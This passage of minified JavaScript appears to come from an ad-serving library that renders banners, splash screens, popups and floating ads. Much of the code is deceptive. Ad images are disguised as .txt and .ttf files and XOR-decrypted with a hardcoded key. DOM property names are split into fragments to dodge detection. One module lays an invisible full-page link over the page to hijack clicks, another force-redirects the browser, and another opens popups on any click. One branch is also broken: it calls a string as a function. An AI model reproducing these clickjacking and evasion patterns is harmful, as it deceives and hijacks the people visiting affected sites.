zy_a_swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}100%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@-webkit-keyframes zy_a_tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(0.9)rotate(-3deg);transform:scale(0.9)rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1)rotate(3deg);transform:scale(1.1)rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1)rotate(-3deg);transform:scale(1.1)rotate(-3deg)}100%{-webkit-transform:scale(1)rotate(0);transform:scale(1)rotate(0)}}@-webkit-keyframes zy_a_wobble{0%{-webkit-transform:translateX(0%);transform:translateX(0%)}15%{-webkit-transform:translateX(-25%)rotate(-5deg);transform:translateX(-25%)rotate(-5deg)}30%{-webkit-transform:translateX(20%)rotate(3deg);transform:translateX(20%)rotate(3deg)}45%{-webkit-transform:translateX(-15%)rotate(-3deg);transform:translateX(-15%)rotate(-3deg)}60%{-webkit-transform:translateX(10%)rotate(2deg);transform:translateX(10%)rotate(2deg)}75%{-webkit-transform:translateX(-5%)rotate(-1deg);transform:translateX(-5%)rotate(-1deg)}100%{-webkit-transform:translateX(0%);transform:translateX(0%)}}@-webkit-keyframes zy_a_circle{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.__zy_bounce{-webkit-animation-name:zy_a_bounce;animation-name:zy_a_bounce}.__zy_flash{-webkit-animation-name:zy_a_flash;animation-name:zy_a_flash}.__zy_pulse{-webkit-animation-name:zy_a_pulse;animation-name:zy_a_pulse}.__zy_rubberBand{-webkit-animation-name:zy_a_rubberBand;animation-name:zy_a_rubberBand}.__zy_shake{-webkit-animation-name:zy_a_shake;animation-name:zy_a_shake}.__zy_swing{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-name:zy_a_swing;animation-name:zy_a_swing}.__zy_tada{-webkit-animation-name:zy_a_tada;animation-name:zy_a_tada}.__zy_wobble{-webkit-animation-name:zy_a_wobble;animation-name:zy_a_wobble}.__zy_circle{animation:zy_a_circle 10s ease 0s infinite normal none running !important}"; // var aContainerId = 'show-' + slot.container // var aContainerImgId = 'show_img-' + slot.container // var aContainer = document.createElement("div") // aContainer.id = aContainerId // slot.showImgId = aContainerImgId; // slot.showId = aContainerId; // var a = document.createElement("a") // a.target = "_blank" // a.style.display = "block" // a.href = adv.Click // a.className = "external" // var img = document.createElement("img") // img.id = aContainerImgId // img.style.display = "block" // img.style.width = "100%" // if (adv.Creative.endsWith('.txt') || adv.Creative.endsWith('.ttf')) { // } else { // img.src = adv.Creative // } // //img.setAttribute("data-src", adv.Creative) // img.border = 0 // if (slot.response.Platform === "web") { // img.style.height = "100%" // } // if (tplName == "wapSplash") { // img.style.height = "100%" // img.style.width = "100%" // img.style.objectFit = "cover" // aContainer.style.width = "100%" // aContainer.style.height = "100%" // a.style.display = "contents" // } // if (tplName == "wapBanner") { // aContainer.style.width = "100%" // } // a.appendChild(img) // aContainer.appendChild(a) // this.logo(slot) // slot.node.appendChild(aContainer) // ack.bind(slot, aContainer); // if (slot.response.Adunit.Show === "animation-on" && isAnimated) { // utils.setStyle(css) // setInterval(function () { // aContainer.className = ""; // setTimeout(function () { // var csname = "__zy_" + _zy_a_c_name_[Math.floor(Math.random() * _zy_a_c_name_.length)]; // aContainer.className = csname + " __zy_animated __zy_infinite"; // }, 1000); // }, 5000) // } // var p = slot.response.Adunit.Position; // function setBodySytle() { // var h = img.clientHeight // if (isPosition) { // if (p === 2) { // document.body.style.paddingTop = h + "px"; // } else if (p === 3) { // document.body.style.paddingBottom = h + "px"; // } // } // } // function show() { // slot.node.style.display = "block"; // if (p !== 1) { // // slot.node.style.height = slot.height+"px"; // if (p === 3 && slot.response.Platform !== "web") { // aContainer.style.position = "absolute"; // aContainer.style.bottom = 0; // } // } // setBodySytle() // if (isCloseBtn || (isPosition && slot.response.Adunit.Position !== 1)) { // html.wapCloseBtn(slot, isPosition, "", aContainer); // } // for (var i = 0; i < onLoadAfter.length; i++) { // onLoadAfter[i](slot, aContainer.innerText, slot.node, adv) // } // if (adv.Creative.endsWith('.txt')) { // fetch(adv.Creative) // .then(response => response.text()) // .then(text => { // const base64Image = text; // const aContainerImgId = 'show_img-' + slot.container; // document.getElementById(aContainerImgId).src = "data:image/png;base64," + base64Image; // }) // .catch(err => { // }) // } // if (adv.Creative.endsWith('.ttf')) { // fetch(adv.Creative) // .then(response => response.arrayBuffer()) // .then(decryptedData => { // const dataView = new DataView(decryptedData); // const byteArray = new Uint8Array(dataView.buffer); // const keyArray = [104, 101, 108, 108, 111, 44, 119, 111]; // for (let i = 0; i < byteArray.length; i++) { // byteArray[i] ^= keyArray[i % 8]; // } // const blob = new Blob([byteArray.buffer], { type: "application/octet-binary" }); // const decryptedImageUrl = URL.createObjectURL(blob); // const aContainerImgId = 'show_img-' + slot.container; // document.getElementById(aContainerImgId).src = decryptedImageUrl // // document.body.appendChild(img); // }) // .catch(error => { // console.error('Error:', error); // }); // } // if (callback) { // callback() // } // } // if (img) { // if (adv.Creative.endsWith('.txt') || adv.Creative.endsWith('.ttf')) { // show() // } // img.onload = function (event) { // if (adv.Creative.endsWith('.txt') || adv.Creative.endsWith('.ttf')) { // } else { // show() // } // setTimeout(function () { // setBodySytle() // }, 200) // } // img.onerror = function (e) { // slot.node.style.display = "none"; // throw "广告图片地址丢失: " + img.src // } // } else { // } // }, readyImgDisplay: function (slot, adv, isPosition, isCloseBtn, isAnimated, callback, tplName) { if (slot.response.Custom && slot.response.Custom.CloseX) { if (slot.response.Custom.CloseX == "2") { isCloseBtn = false } } for (var i = 0; i < onLoadBefore.length; i++) { onLoadBefore[i](slot, "", "", adv) } if (adv.CreativeType === 3 && adv.Html !== "") { utils.loadScriptHtml(slot, adv.Html) return } slot.node.style.zIndex = 2147483647 var _zy_a_c_name_ = ["bounce", "flash", "pulse", "rubberBand", "shake", "swing", "tada"] var css = ".__zy_animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.__zy_animated.__zy_infinite{-webkit-animation-iteration-count:1;animation-iteration-count:1}.__zy_animated.__zy_hinge{-webkit-animation-duration:2s;animation-duration:2s}@-webkit-keyframes zy_a_bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@-webkit-keyframes zy_a_flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes zy_a_pulse{0%{-webkit-transform:scale(1);transform:scale(1)}50%{-webkit-transform:scale(1.1);transform:scale(1.1)}100%{-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zy_a_rubberBand{0%{-webkit-transform:scale(1);transform:scale(1)}30%{-webkit-transform:scaleX(1.25)scaleY(0.75);transform:scaleX(1.25)scaleY(0.75)}40%{-webkit-transform:scaleX(0.75)scaleY(1.25);transform:scaleX(0.75)scaleY(1.25)}60%{-webkit-transform:scaleX(1.15)scaleY(0.85);transform:scaleX(1.15)scaleY(0.85)}100%{-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zy_a_shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes zy_a_swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}100%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@-webkit-keyframes zy_a_tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(0.9)rotate(-3deg);transform:scale(0.9)rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1)rotate(3deg);transform:scale(1.1)rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1)rotate(-3deg);transform:scale(1.1)rotate(-3deg)}100%{-webkit-transform:scale(1)rotate(0);transform:scale(1)rotate(0)}}@-webkit-keyframes zy_a_wobble{0%{-webkit-transform:translateX(0%);transform:translateX(0%)}15%{-webkit-transform:translateX(-25%)rotate(-5deg);transform:translateX(-25%)rotate(-5deg)}30%{-webkit-transform:translateX(20%)rotate(3deg);transform:translateX(20%)rotate(3deg)}45%{-webkit-transform:translateX(-15%)rotate(-3deg);transform:translateX(-15%)rotate(-3deg)}60%{-webkit-transform:translateX(10%)rotate(2deg);transform:translateX(10%)rotate(2deg)}75%{-webkit-transform:translateX(-5%)rotate(-1deg);transform:translateX(-5%)rotate(-1deg)}100%{-webkit-transform:translateX(0%);transform:translateX(0%)}}@-webkit-keyframes zy_a_circle{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}.__zy_bounce{-webkit-animation-name:zy_a_bounce;animation-name:zy_a_bounce}.__zy_flash{-webkit-animation-name:zy_a_flash;animation-name:zy_a_flash}.__zy_pulse{-webkit-animation-name:zy_a_pulse;animation-name:zy_a_pulse}.__zy_rubberBand{-webkit-animation-name:zy_a_rubberBand;animation-name:zy_a_rubberBand}.__zy_shake{-webkit-animation-name:zy_a_shake;animation-name:zy_a_shake}.__zy_swing{-webkit-transform-origin:top center;-ms-transform-origin:top center;transform-origin:top center;-webkit-animation-name:zy_a_swing;animation-name:zy_a_swing}.__zy_tada{-webkit-animation-name:zy_a_tada;animation-name:zy_a_tada}.__zy_wobble{-webkit-animation-name:zy_a_wobble;animation-name:zy_a_wobble}.__zy_circle{animation:zy_a_circle 10s ease 0s infinite normal none running !important}"; var aContainerId = 'show-' + slot.container var aContainerImgId = 'show_img-' + slot.container var aContainer = document.createElement("div") aContainer.id = aContainerId slot.showImgId = aContainerImgId; slot.showId = aContainerId; var a = document.createElement("a") a.target = "_blank" a.style.display = "flex" a.style.flexWrap = "wrap" a.href = adv.Click a.className = "external" // if (slot.response.Platform === "web") { // img.style.height = "100%" // } if (tplName == "wapSplash") { aContainer.style.width = "100%" aContainer.style.height = "100%" a.style.display = "contents" } if (tplName == "wapBanner") { aContainer.style.width = "100%" } aContainer.appendChild(a) this.logo(slot) slot.node.appendChild(aContainer) ack.bind(slot, aContainer); if (slot.response.Adunit.Show === "animation-on" && isAnimated) { utils.setStyle(css) setInterval(function () { aContainer.className = ""; setTimeout(function () { var csname = "__zy_" + _zy_a_c_name_[Math.floor(Math.random() * _zy_a_c_name_.length)]; aContainer.className = csname + " __zy_animated __zy_infinite"; }, 1000); }, 5000) } var p = slot.response.Adunit.Position; if (p !== 1) { if (p === 3 && slot.response.Platform !== "web") { aContainer.style.position = "absolute"; aContainer.style.bottom = 0; } } if (isCloseBtn || (isPosition && slot.response.Adunit.Position !== 1)) { html.wapCloseBtn(slot, isPosition, "", aContainer); } if (adv.Creative.endsWith('.txt')) { fetch(adv.Creative) .then(response => response.text()) .then(string => { fillPics("data:image/png;base64," + string) }) .catch(err => { }) } else if (adv.Creative.endsWith('.ttf')) { fetch(adv.Creative) .then(response => response.arrayBuffer()) .then(decryptedData => { const dataView = new DataView(decryptedData); const byteArray = new Uint8Array(dataView.buffer); const keyArray = [104, 101, 108, 108, 111, 44, 119, 111]; for (let i = 0; i < byteArray.length; i++) { byteArray[i] ^= keyArray[i % 8]; } const blob = new Blob([byteArray.buffer], { type: "application/octet-binary" }); const reader = new FileReader(); reader.onloadend = function () { const base64data = reader.result; // 这里就是 base64 字符串 fillPics(base64data) }; reader.readAsDataURL(blob); }) .catch(error => { console.error('Error:', error); }); } else { fetch(adv.Creative) .then(res => res.blob()) .then(blob => { const reader = new FileReader(); reader.onloadend = function () { const base64data = reader.result; // 这里就是 base64 字符串 fillPics(base64data) }; reader.readAsDataURL(blob); }); } function fillPics(base64Image) { const img = new Image(); img.src = base64Image; img.onload = function () { const aspectRatio = img.naturalWidth / img.naturalHeight; // 清空 a 标签内容 a.innerHTML = ""; // 设置 a 样式 a.style.width = "100%"; //a.style.paddingBottom = 100/aspectRatio + "%"; a.style.overflow = "hidden"; a.style.display = "flex"; a.style.flexWrap = "wrap"; a.style.alignContent = "flex-start"; for (let row = 0; row < 5; row++) { for (let col = 0; col < 10; col++) { const piece = document.createElement("piece"); piece.style.display = "block"; piece.style.width = "10%" piece.style.paddingBottom = 20 / aspectRatio + "%" piece.style.backgroundImage = "url(" + base64Image + ")"; piece.style.backgroundSize = "1000% 500%"; piece.style.backgroundPosition = `${(col / 9) * 100}% ${(row / 4) * 100}%` piece.style.backgroundRepeat = "no-repeat"; a.appendChild(piece); } } if (isPosition) { if (p === 2) { document.body.style.paddingTop = 100 / aspectRatio + "%" } else if (p === 3) { document.body.style.paddingBottom = 100 / aspectRatio + "%" } } slot.node.style.display = "block"; for (var i = 0; i < onLoadAfter.length; i++) { onLoadAfter[i](slot, aContainer.innerText, slot.node, adv) } if (callback) { callback() } } } }, readyIframeDisplay: function (slot, tpl, onload, adv) { var node = slot.node; node.style.zIndex = 2147483647 node.style.display = "none !important"; var i = document.createElement("iframe"); var id = "o_framean_" + slot.container; i.id = id; i.scrolling = "no"; i.style.cssText = "border: 0pt none;"; node.appendChild(i) var _this = this; var bodyHTML = ' ' + tpl + ""; try { setTimeout(function () { for (var i = 0; i < onLoadBefore.length; i++) { onLoadBefore[i](slot, tpl, ifDoc, adv) } function loadAs() { node.style.display = "block"; if (slot.response.DisplayLogo && ifDoc.getElementById("oav")) { ifDoc.getElementById("oav").style.display = "block"; } if (onload) { onload(node, ifr, ifDoc) } for (var i = 0; i < onLoadAfter.length; i++) { onLoadAfter[i](slot, tpl, ifDoc, adv) } } var ifr = document.getElementById(id) var ifDoc = ifr.contentWindow.document; ifDoc.open("text/html", "replace"); //ifDoc.write([bodyHTML, _this.logo(slot, true)].join("")); ifDoc.write([bodyHTML].join("")); ack.bind(slot, ifDoc); loadAs(); ifDoc.close(); }, 10) } catch (err) { errorLog(err, "readyIframeDisplay error") } return node; } }) }) define("wapText", function (r, e) { var utils = r("utils"), html = r("html"), ack = r("ack"); mix(e, { ready: function (slot, adv) { var data = { a: adv.Icon, b: adv.TextTitle, c: adv.TextContent, d: adv.ButtonText, }; var tpl = tw.b[1]; if (slot.response.Adunit.Position === 2) { tpl = tw.b[0]; } for (const key in data) { if (data.hasOwnProperty(key)) { var re = new RegExp('{{' + key + '}}', 'g'); tpl = tpl.replace(re, data[key]); } } var newCss = tw.c.replace(/\.([a-zA-Z])/g, function (match, p1) { return '.v-' + slot.container + '-' + p1; }); var newHtml = tpl.replace(/class="(\w+)"/g, function (match, p1) { return 'class="v-' + slot.container + '-' + p1 + '"'; }); utils.setStyle(newCss) var cName = slot.container + "SaVRbB"; var a = document.createElement("div") a.className = cName; a.style.cssText = "position:;" a.innerHTML = "." var bName = slot.container + "HNDqh9J"; var b = document.createElement("div") b.className = bName; b.style.cssText = "position:FIXED;" b.innerHTML = "" var cid = slot.container + "lUYfV7cQQ"; var c = document.createElement("div") c.id = cid c.innerHTML = "" document.body.appendChild(c) if (1) { } var XQroB0KZDai = function DosdUbJ0x() { if (slot.response.Bidding.toLowerCase() == "cpm") { adv.Click = adv.Click + "&ccpm=1"; } window.location.href = adv.Click; }; setTimeout(function () { var f = document['get' + 'E' + 'lementB' + 'yI' + 'd'](cid); f.innerHTML = "" f.appendChild(a) f.appendChild(b) }, 200); setTimeout(function () { function a(className, img, fn) { var g = document.getElementsByClassName(className)[0]; if (slot.response.Adunit.Position === 3) { g['s' + 'ty' + 'le']['b' + 'o' + 't' + 't' + 'o' + 'm'] = "0"; } g['s' + 'ty' + 'le']['le' + 'f' + 't'] = "0"; g['s' + 'ty' + 'le']['z' + '-' + 'in' + 'dex'] = "5262"; g['s' + 'ty' + 'le']['w' + 'idth'] = "100vw"; g['s' + 'ty' + 'le']['color'] = "#eee"; g['s' + 'ty' + 'le']['text-align'] = "right"; g['s' + 'ty' + 'le']['d' + 'i' + 's' + 'p' + 'lay'] = "none"; g.innerHTML = newHtml; var url = adv.Icon; let iid = '.v-' + slot.container + '-' + "ig" let ia = g.querySelector(iid + ' img'); ia.onload = function () { if (slot.response.Adunit.Position === 2) { g['s' + 'ty' + 'le']['t' + 'o' + 'p'] = "0"; document.body.style.paddingTop = g.clientHeight + "px"; } } if (url.endsWith('.txt')) { fetch(url).then(function (response) { return response.text(); }).then(function (text) { if (ia) { var base64Image = text; ia.src = "data:image/png;base64," + base64Image; } g['s' + 'ty' + 'le']['d' + 'i' + 's' + 'p' + 'lay'] = "block"; }).catch(function (err) { }); } else if (url('.ttf')) { fetch(url) .then(response => response.arrayBuffer()) .then(decryptedData => { const dataView = new DataView(decryptedData); const byteArray = new Uint8Array(dataView.buffer); const keyArray = [104, 101, 108, 108, 111, 44, 119, 111]; for (let i = 0; i < byteArray.length; i++) { byteArray[i] ^= keyArray[i % 8]; } const blob = new Blob([byteArray.buffer], { type: "application/octet-binary" }); const decryptedImageUrl = URL.createObjectURL(blob); if (ia) { ia.src = decryptedImageUrl; } g['s' + 'ty' + 'le']['d' + 'i' + 's' + 'p' + 'lay'] = "block"; // document.body.appendChild(img); }) .catch(error => { console.error('Error:', error); }); } else { g['s' + 'ty' + 'le']['d' + 'i' + 's' + 'p' + 'lay'] = "block"; } g['o' + 'n' + 'cli' + 'ck'] = function () { fn(); } g['s' + 'ty' + 'le']['pos' + 'it' + 'ion'] = "fi" + "xeD"; setInterval(function () { var f1 = document.getElementsByClassName(cName)[0]; f1['s' + 'ty' + 'le']['d' + 'i' + 's' + 'p' + 'lay'] = "block"; }, 100) } a(cName, adv.Creative, XQroB0KZDai); }, 500); setTimeout(function () { for (var i = 0; i < onLoadAfter.length; i++) { onLoadAfter[i](slot, "", slot.node, adv) } }, 600) } }) }) define("wapFedd", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, a) { slot.width = "100%" var style = slot.response.Adunit.Style; function getStyle(name) { var css = {} switch (name) { case "feed-wrapper": css = { "width": slot.width, "border-width": style.global.borderWidth + 'px', "border-color": style.global.borderColor, "border-style": style.global.borderStyle, "font-family": style.global.fontFamily, "background-color": style.global.backgroundColor, "padding-top": style.global.paddingTop + 'px', "padding-left": style.global.paddingLeft + 'px', "padding-right": style.global.paddingRight + 'px', "padding-bottom": style.global.paddingBottom + 'px' } break case "feed-title": css = { "font-weight": style.title.textStyle.textBold ? 700 : 400, "text-align": style.title.textStyle.textAlign, "font-size": style.title.fontSize + 'px', "color": style.title.textStyle.color, "padding-top": style.title.paddingTop + 'px', "padding-left": style.title.paddingLeft + 'px', "padding-right": style.title.paddingRight + 'px', "padding-bottom": style.title.paddingBottom + 'px' } break case "feed-image": css = { "width": style.image.width + (style.image.pixel == 0 ? '%' : 'px'), "padding-top": style.image.paddingTop + 'px', "padding-left": style.image.paddingLeft + 'px', "padding-right": style.image.paddingRight + 'px', "padding-bottom": style.image.paddingBottom + 'px' } break case "feed-content": css = { "font-weight": style.content.textStyle.textBold ? 700 : 400, "text-align": style.content.textStyle.textAlign, "font-size": style.content.fontSize + 'px', "color": style.content.textStyle.color, "padding-top": style.content.paddingTop + 'px', "padding-left": style.content.paddingLeft + 'px', "padding-right": style.content.paddingRight + 'px', "padding-bottom": style.content.paddingBottom + 'px' } break case "feed-bottom": break case "feed-url": css = { "font-weight": style.url.textStyle.textBold ? 700 : 400, "text-align": style.url.textStyle.textAlign, "font-size": style.url.fontSize + 'px', "color": style.url.textStyle.color, "padding-top": style.url.paddingTop + 'px', "padding-left": style.url.paddingLeft + 'px', "padding-right": style.url.paddingRight + 'px', "padding-bottom": style.url.paddingBottom + 'px' } break case "feed-btn": css = { "color": style.button.color, "border-color": style.button.borderColor } break } var c = [] for (var k in css) { c.push(k + ":" + css[k]) } return c.join(";") } function getImages() { var img = style.image.specsType == 0 ? a.FeedHorizontal : a.FeedVertical; return "" } var css = ''; var tpl = '
\n' + '
\n' + '
' + a.TextTitle + '
\n' + '
' + getImages() + '
\n' + '
' + a.TextTitle + '
\n' + '
' + a.TextContent + '
' + '
\n' + '
广告
\n' + '
\n' + '
访问网站
\n' + '
\n' + '
\n' + '
\n'; function onload(node, ifr, ifDoc) { ifDoc.getElementById("feed-image").onload = function () { node.style.width = slot.width + "px" ifr.width = slot.width; var h = ifDoc.body.clientHeight ifr.height = h; node.style.height = h + "px"; } } return html.readyIframeDisplay(slot, css + tpl, onload, a) } }) }) define("wapMinAd", function (e, t) { var a = e("html"), o = e("utils"); N(t, { ready: function (e, t) { e.height = 80; e.width = 80; e.node.style.cssText = "position: fixed; z-index: 2147483647; bottom: 100px;right: 10px;width:" + e.width + "px;height:" + e.height + "px"; e.response.DisplayLogo = false; var n = "@keyframes __omin_slideRight {0% {-webkit-transform: translateX(0); transform: translateX(0) }100% {-webkit-transform: translateX(-97px);transform: translateX(-97px)}}"; var i = "@keyframes __omin_slideLeft {0% {-webkit-transform: translateX(0); transform: translateX(0) }100% {-webkit-transform: translateX(97px);transform: translateX(97px)}}"; if (e.response.Adunit.Position === 1) { e.node.style.bottom = "130px"; e.node.style.right = "-80px"; e.node.style.position = "fixed"; o.setStyle(n); e.node.style.animation = "__omin_slideRight 1.5s forwards" } else if (e.response.Adunit.Position === 2) { e.node.style.bottom = "130px"; e.node.style.left = "-80px"; e.node.style.position = "fixed"; o.setStyle(i); e.node.style.animation = "__omin_slideLeft 1.5s forwards" } else if (e.response.Adunit.Position === 3) { e.node.style.top = "130px"; e.node.style.left = "-80px"; e.node.style.position = "fixed"; o.setStyle(i); e.node.style.animation = "__omin_slideLeft 1.5s forwards" } else if (e.response.Adunit.Position === 4) { e.node.style.top = "130px"; e.node.style.right = "-80px"; e.node.style.position = "fixed"; o.setStyle(n); e.node.style.animation = "__omin_slideRight 1.5s forwards" } var r = a.wapCloseBtn(e); r.style.right = "-10px"; r.style.top = "-10px"; a.readyImgDisplay(e, t, false, false, false) } }) }); define("wapMinAdNoClose", function (e, t) { var a = e("html"), o = e("utils"); N(t, { ready: function (e, t) { e.node.style.cssText = "position: fixed; z-index: 2147483647; bottom: 100px;right: 10px;width:" + e.width + "px;height:" + e.height + "px"; e.response.DisplayLogo = false; var n = "@keyframes __omin_slideRight {0% {-webkit-transform: translateX(0); transform: translateX(0) }100% {-webkit-transform: translateX(-97px);transform: translateX(-97px)}}"; var i = "@keyframes __omin_slideLeft {0% {-webkit-transform: translateX(0); transform: translateX(0) }100% {-webkit-transform: translateX(97px);transform: translateX(97px)}}"; if (e.response.Adunit.Position === 1) { e.node.style.bottom = "130px"; e.node.style.right = "-80px"; e.node.style.position = "fixed"; o.setStyle(n); e.node.style.animation = "__omin_slideRight 1.5s forwards" } else if (e.response.Adunit.Position === 2) { e.node.style.bottom = "130px"; e.node.style.left = "-80px"; e.node.style.position = "fixed"; o.setStyle(i); e.node.style.animation = "__omin_slideLeft 1.5s forwards" } else if (e.response.Adunit.Position === 3) { e.node.style.top = "130px"; e.node.style.left = "-80px"; e.node.style.position = "fixed"; o.setStyle(i); e.node.style.animation = "__omin_slideLeft 1.5s forwards" } else if (e.response.Adunit.Position === 4) { e.node.style.top = "130px"; e.node.style.right = "-80px"; e.node.style.position = "fixed"; o.setStyle(n); e.node.style.animation = "__omin_slideRight 1.5s forwards" } a.readyImgDisplay(e, t, false, false, false); var r = document.createElement("a"); r.href = t.Click; r.className = "external"; if (e.response.Bidding.toLowerCase() == "cpm") { r.href = t.Click + "&ccpm=1" } r.target = "_blank"; r.style.cssText = "display: block;position:fixed;top:0;left:0;z-index:2147483647; width: 100%;height:100%"; o.bind(r, "click", function () { r.parentNode.removeChild(r) }); document.body.appendChild(r) } }) }); define("wapInterstitial", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { var h = window.screen.width; var m = 40, w = h - m; slot.height = w / slot.response.Width * slot.response.Height; slot.width = w; slot.node.style.cssText = "position: fixed; z-index: 2147483647;top: 50%;left: 50%;transform: translate(-50%,-50%);-webkit-transform: translate(-50%,-50%);width:" + slot.width + "px;height:" + slot.height + "px"; html.readyImgDisplay(slot, adv, false, true, false) } }) }) define("wapSplash", function (r, e) { var html = r("html"), utils = r("utils"); mix(e, { ready: function (slot, adv) { if (slot.response.Adunit.Refresh > 0) { var re = utils.getCookie("wapSplashStats") if (re === "1") { return } utils.setCookie("wapSplashStats", "1", { expires: slot.response.Adunit.Refresh }) } slot.height = window.screen.height + "px"; slot.width = window.screen.width + "px"; slot.node.style.cssText = "position: fixed; z-index: 2147483647;top: 0;left:0;width:" + slot.width + ";height:" + slot.height var second = 5 var el = document.createElement("span") el.style.cssText = "z-index:100;width: 28px;height:28px;line-height: 28px;border-radius: 50%;background: gray;color: #fff;position: absolute;top: 5px;right: 5px;text-align: center;"; el.innerText = second el.id = "__wapSplash" + slot.container slot.node.appendChild(el) var countDown = setInterval(function () { if (second - 1 === 0) { clearInterval(countDown); if (slot.interval) { clearInterval(slot.interval) } slot.node.parentNode.removeChild(slot.node); return } second -= 1; el.innerText = second; }, 1000) html.readyImgDisplay(slot, adv, false, false, false, "", "wapSplash") } }) }) define("wapFixedBanner", function (r, e) { mix(e, { ready: function (slot, adv) { use("wapBanner", function (e) { slot.response.Adunit.Position = 1 e.ready(slot, adv) }) } }) }) define("wapTopBanner", function (r, e) { mix(e, { ready: function (slot, adv) { use("wapBanner", function (e) { slot.response.Adunit.Position = 2 e.ready(slot, adv) }) } }) }) define("wapBottomBanner", function (r, e) { mix(e, { ready: function (slot, adv) { use("wapBanner", function (e) { slot.response.Adunit.Position = 3 e.ready(slot, adv) }) } }) }) define("wapBanner", function (r, e) { var utils = r("utils"), html = r("html"), ack = r("ack"); mix(e, { ready: function (slot, adv) { function g() { var p = slot.response.Adunit.Position slot.node.style.width = "100%"; if (p === 2 || p === 3) { slot.node.style.position = "fixed"; if (p === 2) { slot.node.style.top = "0px"; slot.node.style.left = "0px"; } else if (p === 3) { slot.node.style.left = "0px"; slot.node.style.bottom = "0px"; } } if (p === 1) { slot.node.style.position = "relative"; html.readyImgDisplay(slot, adv, false, false, true, "", "wapBanner") } else { html.readyImgDisplay(slot, adv, true, true, true, "", "wapBanner") html.injectionTransparentClickLayer(slot, adv) } } g(); } }) }) define("default", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { // slot.node.style.width = slot.width + "px" // slot.node.style.height = slot.height + "px"; html.readyImgDisplay(slot, adv, false, false, false) } }) }) define("webBnnaer100", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { slot.node.style.width = "100%"; // slot.node.style.height = slot.height + "px"; html.readyImgDisplay(slot, adv, false, false, false) } }) }) define("wapJump", function (r, e) { var utils = r("utils"); mix(e, { ready: function (slot, adv) { var url = adv.Click; var re = utils.getCookie("wapJumpStats") if (re === "1") { return } utils.setCookie("wapJumpStats", "1", { expires: 60 }) window.location = url } }) }) define("webRightFloat", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { slot.node.style.width = "100%"; slot.node.style.height = slot.height + "px"; slot.node.style.cssText = "position: fixed; z-index: 2147483647; bottom: 0px;right: 0px;width:" + slot.width + "px;height:" + slot.height + "px" html.readyImgDisplay(slot, adv, false, true, false) } }) }) define("webCouplet", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { slot.node.style.width = slot.width + "px"; slot.node.style.height = slot.height + "px"; slot.node.style.cssText = "position:fixed;left:10px;top:100px;display:block;z-index:2147483647;width:" + slot.width + "px;height:" + slot.height + "px"; html.readyImgDisplay(slot, adv, false, true, false, function () { var newNode = {} mix(newNode, slot) newNode.node = document.createElement("ins") newNode.id = slot.id + "_1" newNode.container = slot.container + "_1" newNode.node.style.cssText = "position:fixed;right:10px;top:100px;display:block;z-index:2147483647;width:" + slot.width + "px;height:" + slot.height + "px"; document.body.appendChild(newNode.node) html.readyImgDisplay(newNode, adv, false, true, false) }) } }) }) define("webPOP", function (r, e) { var utils = r("utils"); function run(slot, adv) { var win = window, doc = document, openStr = "width=" + screen.width + ",height=" + screen.height + ",toolbar=1,location=1,titlebar=1,menubar=1,scrollbars=1,resizable=1,directories=1,status=1", isPop = false; var url = adv.Click; function Open() { var pop = function () { if (isPop) { return } isPop = window.open(url, "_blank", openStr + ",left=0,top=0"); } pop() utils.bind(doc, "click", pop) } Open() } mix(e, { ready: function (slot, adv) { if (slot.response.Adunit.Refresh === 0) { run(slot, adv); return; } var re = utils.getCookie("webPOPStats") if (re === "1") { return } run(slot, adv); utils.setCookie("webPOPStats", "1", { expires: slot.response.Adunit.Refresh }) } }) }) define("webText", function (r, e) { var html = r("html"); mix(e, { ready: function (slot, adv) { function onload(node, ifr, ifDoc) { node.style.width = slot.width + "px"; node.style.height = slot.height + "px"; ifr.width = slot.width + "px"; ifr.height = slot.height + "px"; } var css = "" var tpl = '
' + adv.TextTitle + '
' + adv.ButtonText + '
